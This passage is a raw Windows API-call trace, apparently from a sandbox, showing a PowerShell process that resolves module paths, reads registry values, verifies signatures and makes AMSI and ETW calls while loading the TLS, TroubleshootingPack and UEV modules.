(lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\microsoft.windowsauthenticationprotocols.commands")) returned 0xffffffff [0118.442] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\microsoft.windowsauthenticationprotocols.commands")) returned 0xffffffff [0118.448] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\microsoft.windowsauthenticationprotocols.commands")) returned 0xffffffff [0118.528] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands", nBufferLength=0x105, lpBuffer=0x843b5ac, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands", lpFilePart=0x0) returned 0x68 [0118.528] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands", nBufferLength=0x105, lpBuffer=0x843b538, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\Microsoft.WindowsAuthenticationProtocols.Commands", lpFilePart=0x0) returned 0x68 [0118.763] CoGetContextToken (in: pToken=0x843b170 | out: pToken=0x843b170) returned 0x0 [0118.763] CoGetContextToken (in: pToken=0x843b750 | out: pToken=0x843b750) returned 0x0 [0118.763] CoGetContextToken (in: pToken=0x843b6b0 | out: pToken=0x843b6b0) returned 0x0 [0118.763] CoGetContextToken (in: pToken=0x843b7d8 | out: pToken=0x843b7d8) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b168 | out: pToken=0x843b168) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b748 | out: pToken=0x843b748) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b6a8 | out: pToken=0x843b6a8) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b740 | out: pToken=0x843b740) returned 0x0 [0118.772] CoGetContextToken (in: pToken=0x843b6a0 | out: pToken=0x843b6a0) returned 0x0 [0118.774] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0119.151] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.WindowsAuthenticationProtocols.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.WindowsAuthenticationProtocols.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b554, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.WindowsAuthenticationProtocols.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.WindowsAuthenticationProtocols.Commands.dll", lpFilePart=0x0) returned 0xb0 [0119.152] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.WindowsAuthenticationProtocols.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.WindowsAuthenticationProtocols.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b444, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.WindowsAuthenticationProtocols.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.WindowsAuthenticationProtocols.Commands.dll", lpFilePart=0x0) returned 0xb0 [0119.183] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0119.183] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0119.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dffc) returned 1 [0119.183] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1"), fInfoLevelId=0x0, lpFileInformation=0x540b73c | out: lpFileInformation=0x540b73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfa3547, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6cfa3547, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6cfa3547, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0119.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dff8) returned 1 [0119.249] AmsiCloseSession () returned 0x315cd38 [0119.249] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa48 [0119.250] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0119.345] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.345] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.345] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.349] WTGetSignatureInfo () returned 0x0 [0119.373] CertDuplicateCertificateContext (pCertContext=0x737b3d8) returned 0x737b3d8 [0119.373] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0x9ec) returned 0x0 [0119.374] RegQueryValueExW (in: hKey=0x9ec, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0119.374] RegQueryValueExW (in: hKey=0x9ec, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x5424050, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0119.374] RegCloseKey (hKey=0x9ec) returned 0x0 [0119.374] CoTaskMemAlloc (cb=0x10) returned 0x7444a68 [0119.374] CoTaskMemAlloc (cb=0x30) returned 0x740d8a0 [0119.374] WinVerifyTrust () returned 0x0 [0119.375] CoTaskMemFree (pv=0x740d8a0) [0119.375] CoTaskMemFree (pv=0x7444a68) [0119.375] CertFreeCertificateContext (pCertContext=0x737b3d8) returned 1 [0119.375] CloseHandle (hObject=0x9f0) returned 1 [0119.375] AmsiOpenSession () returned 0x0 [0119.375] AmsiScanString () returned 0x80070015 [0119.378] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\en-US\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\en-us\\troubleshootingpack.psd1")) returned 0xffffffff [0119.378] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\en\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\en\\troubleshootingpack.psd1")) returned 0xffffffff [0119.379] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x60 [0119.379] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1", nBufferLength=0x60, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1", lpFilePart=0x0) returned 0x5f [0119.379] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0119.379] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0119.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0x9f0) returned 0x0 [0119.379] RegQueryValueExW (in: hKey=0x9f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0119.379] RegQueryValueExW (in: hKey=0x9f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x542b25c, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0119.379] RegCloseKey (hKey=0x9f0) returned 0x0 [0119.380] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.format.ps1xml")) returned 0x20 [0119.425] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.format.ps1xml")) returned 0x20 [0119.425] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.format.ps1xml")) returned 0x20 [0119.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0119.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0119.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d728) returned 1 [0119.427] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843d7a4 | out: lpFileInformation=0x843d7a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d724) returned 1 [0119.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\Microsoft.Windows.Diagnosis.TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x77 [0119.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\Microsoft.Windows.Diagnosis.TroubleshootingPack", nBufferLength=0x77, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\Microsoft.Windows.Diagnosis.TroubleshootingPack", lpFilePart=0x0) returned 0x76 [0119.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d628) returned 1 [0119.427] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\Microsoft.Windows.Diagnosis.TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\microsoft.windows.diagnosis.troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x843d6a4 | out: lpFileInformation=0x843d6a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d624) returned 1 [0119.429] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\Microsoft.Windows.Diagnosis.TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\microsoft.windows.diagnosis.troubleshootingpack.psd1")) returned 0xffffffff [0119.442] AmsiCloseSession () returned 0x315cd38 [0119.442] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa0c [0119.443] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0119.538] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.538] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.538] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0119.539] WTGetSignatureInfo () returned 0x0 [0119.716] CertDuplicateCertificateContext (pCertContext=0x737b978) returned 0x737b978 [0119.716] WinVerifyTrust () returned 0x0 [0119.716] CoTaskMemFree (pv=0x740d830) [0119.716] CoTaskMemFree (pv=0x7444918) [0119.716] CertFreeCertificateContext (pCertContext=0x737b978) returned 1 [0119.716] CloseHandle (hObject=0xa00) returned 1 [0119.717] AmsiOpenSession () returned 0x0 [0119.717] AmsiScanString () returned 0x80070015 [0119.720] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\en-US\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\en-us\\uev.psd1")) returned 0xffffffff [0119.720] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\en\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\en\\uev.psd1")) returned 0xffffffff [0120.004] CoGetContextToken (in: pToken=0x843c9e8 | out: pToken=0x843c9e8) returned 0x0 [0120.004] CoGetContextToken (in: pToken=0x843c990 | out: pToken=0x843c990) returned 0x0 [0120.004] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x843c978*=0x7d4, lpdwindex=0x843c82c | out: lpdwindex=0x843c82c) returned 0x80010115 [0120.004] CoGetContextToken (in: pToken=0x843ba64 | out: pToken=0x843ba64) returned 0x0 [0120.004] CoGetContextToken (in: pToken=0x843ba44 | out: pToken=0x843ba44) returned 0x0 [0120.004] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.004] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.004] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.005] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.005] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.005] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.005] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.005] CoGetContextToken (in: pToken=0x843b9c8 | out: pToken=0x843b9c8) returned 0x0 [0120.049] CoGetContextToken (in: pToken=0x843cdf0 | out: pToken=0x843cdf0) returned 0x0 [0120.049] CoGetContextToken (in: pToken=0x843d3c8 | out: pToken=0x843d3c8) returned 0x0 [0120.049] CoGetContextToken (in: pToken=0x843d328 | out: pToken=0x843d328) returned 0x0 [0120.049] CoGetContextToken (in: pToken=0x843d450 | out: pToken=0x843d450) returned 0x0 [0120.056] CoGetContextToken (in: pToken=0x843c9e0 | out: pToken=0x843c9e0) returned 0x0 [0120.056] CoGetContextToken (in: pToken=0x843cde8 | out: pToken=0x843cde8) returned 0x0 [0120.056] CoGetContextToken (in: pToken=0x843d3c0 | out: pToken=0x843d3c0) returned 0x0 [0120.056] CoGetContextToken (in: pToken=0x843d320 | out: pToken=0x843d320) returned 0x0 [0120.056] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0120.095] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1", lpFilePart=0x0) returned 0x3f [0120.095] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0120.095] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0120.096] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa88) returned 0x0 [0120.096] RegQueryValueExW (in: hKey=0xa88, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.096] RegQueryValueExW (in: hKey=0xa88, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x5385278, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.096] RegCloseKey (hKey=0xa88) returned 0x0 [0120.097] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.types.ps1xml")) returned 0x20 [0120.099] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.types.ps1xml")) returned 0x20 [0120.100] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.types.ps1xml")) returned 0x20 [0120.101] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0120.101] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\PSGetModuleInfo.xml", nBufferLength=0x4b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x4a [0120.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d728) returned 1 [0120.101] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843d7a4 | out: lpFileInformation=0x843d7a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0120.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d724) returned 1 [0120.101] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\microsoft.uev.commands.dll")) returned 0x20 [0120.149] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b2dc, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", lpFilePart=0x0) returned 0x51 [0120.149] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b268, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", lpFilePart=0x0) returned 0x51 [0120.202] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b2d4, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", lpFilePart=0x0) returned 0x51 [0120.202] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b1c4, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\Microsoft.Uev.Commands.dll", lpFilePart=0x0) returned 0x51 [0120.332] AmsiCloseSession () returned 0x315cd38 [0120.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa7c [0120.333] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0120.357] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.357] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x41, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 